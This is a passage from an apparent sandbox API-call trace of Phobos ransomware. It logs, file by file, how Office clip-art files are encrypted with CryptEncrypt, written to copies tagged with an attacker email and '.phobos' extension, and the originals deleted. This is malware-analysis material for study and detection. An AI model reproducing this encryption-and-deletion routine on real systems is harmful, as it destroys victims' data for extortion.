Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.668] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.668] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.668] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.668] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752fd8) returned 1 [0135.668] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.668] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x15b0, lpOverlapped=0x0) returned 1 [0135.677] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x15c0) returned 1 [0135.678] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x15c0, lpOverlapped=0x0) returned 1 [0135.723] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752c58) returned 1 [0135.723] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.723] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.724] CryptDestroyKey (hKey=0x752c58) returned 1 [0135.724] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.724] CryptDestroyKey (hKey=0x752fd8) returned 1 [0135.724] CloseHandle (hObject=0x2f8) returned 1 [0135.724] CloseHandle (hObject=0x30c) returned 1 [0135.724] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0135.725] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.725] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=3082) returned 1 [0135.725] CloseHandle (hObject=0x30c) returned 1 [0135.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0135.725] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.726] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.761] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.762] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0135.762] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.762] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xc0a, lpOverlapped=0x0) returned 1 [0135.844] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xc10, dwBufLen=0xc10 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xc10) returned 1 [0135.844] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xc10, lpOverlapped=0x0) returned 1 [0135.914] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752d18) returned 1 [0135.915] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.915] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0135.915] CryptDestroyKey (hKey=0x752d18) returned 1 [0135.915] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0135.915] CryptDestroyKey (hKey=0x752c58) returned 1 [0135.915] CloseHandle (hObject=0x30c) returned 1 [0135.915] CloseHandle (hObject=0x2f8) returned 1 [0135.915] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0135.916] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0135.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.916] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=15852) returned 1 [0135.916] CloseHandle (hObject=0x2f8) returned 1 [0135.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220 [0135.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0135.916] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.916] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0135.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0135.917] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x7530d8) returned 1 [0135.917] CryptSetKeyParam (hKey=0x7530d8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0135.917] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x3dec, lpOverlapped=0x0) returned 1 [0136.227] CryptEncrypt (in: hKey=0x7530d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3df0, dwBufLen=0x3df0 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x3df0) returned 1 [0136.227] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x3df0, lpOverlapped=0x0) returned 1 [0136.228] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x753098) returned 1 [0136.228] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0136.228] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0136.228] CryptDestroyKey (hKey=0x753098) returned 1 [0136.228] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0136.228] CryptDestroyKey (hKey=0x7530d8) returned 1 [0136.228] CloseHandle (hObject=0x2f8) returned 1 [0136.228] CloseHandle (hObject=0x30c) returned 1 [0136.228] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0136.229] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0136.229] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0136.229] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=2832) returned 1 [0136.229] CloseHandle (hObject=0x30c) returned 1 [0136.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220 [0136.229] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0136.230] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0136.230] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0136.230] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0136.230] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752a58) returned 1 [0136.230] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0136.230] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0xb10, lpOverlapped=0x0) returned 1 [0136.367] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xb20, dwBufLen=0xb20 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0xb20) returned 1 [0136.367] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xb20, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xb20, lpOverlapped=0x0) returned 1 [0136.368] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752cd8) returned 1 [0136.368] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0136.368] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0136.368] CryptDestroyKey (hKey=0x752cd8) returned 1 [0136.368] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0136.368] CryptDestroyKey (hKey=0x752a58) returned 1 [0136.368] CloseHandle (hObject=0x30c) returned 1 [0136.368] CloseHandle (hObject=0x2f8) returned 1 [0136.369] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 1 [0136.369] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0136.369] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0136.370] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=792) returned 1 [0136.370] CloseHandle (hObject=0x2f8) returned 1 [0136.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220 [0136.370] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0136.370] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0136.370] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0136.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0136.371] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752c58) returned 1 [0136.371] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0136.371] ReadFile (in: hFile=0x2f8, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x318, lpOverlapped=0x0) returned 1 [0136.413] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x320, dwBufLen=0x320 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x320) returned 1 [0136.413] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x320, lpOverlapped=0x0) returned 1 [0136.414] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf940 | out: phKey=0x2fcf940*=0x752e58) returned 1 [0136.414] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0136.414] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40, dwBufLen=0x40 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x40) returned 1 [0136.414] CryptDestroyKey (hKey=0x752e58) returned 1 [0136.414] WriteFile (in: hFile=0x30c, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0xf2, lpOverlapped=0x0) returned 1 [0136.414] CryptDestroyKey (hKey=0x752c58) returned 1 [0136.414] CloseHandle (hObject=0x2f8) returned 1 [0136.414] CloseHandle (hObject=0x30c) returned 1 [0136.415] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 1 [0136.415] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2fcf9e8 | out: pbBuffer=0x2fcf9e8) returned 1 [0136.415] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0136.416] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2fcf988 | out: lpFileSize=0x2fcf988*=1074) returned 1 [0136.416] CloseHandle (hObject=0x30c) returned 1 [0136.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf")) returned 0x220 [0136.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0136.416] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0136.416] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcf928 | out: lpNewFilePointer=0x0) returned 1 [0136.416] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00177_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0136.417] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2fcf93c | out: phKey=0x2fcf93c*=0x752e18) returned 1 [0136.417] CryptSetKeyParam (hKey=0x752e18, dwParam=0x1, pbData=0x2fcf9e8, dwFlags=0x0) returned 1 [0136.417] ReadFile (in: hFile=0x30c, lpBuffer=0x3359020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2fcf964, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesRead=0x2fcf964*=0x432, lpOverlapped=0x0) returned 1 [0136.952] CryptEncrypt (in: hKey=0x752e18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x440, dwBufLen=0x440 | out: pbData=0x3359020*, pdwDataLen=0x2fcf900*=0x440) returned 1 [0136.952] WriteFile (in: hFile=0x2f8, lpBuffer=0x3359020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2fcf948, lpOverlapped=0x0 | out: lpBuffer=0x3359020*, lpNumberOfBytesWritten=0x2fcf948*=0x440, lpOverlapped=0x0) returned 1 [0136.953] CryptImportKey (in: hProv=0x7268e0, pbData=0x2fcf8d4, dwDataLen=0x4c, hPubKey=0x0, 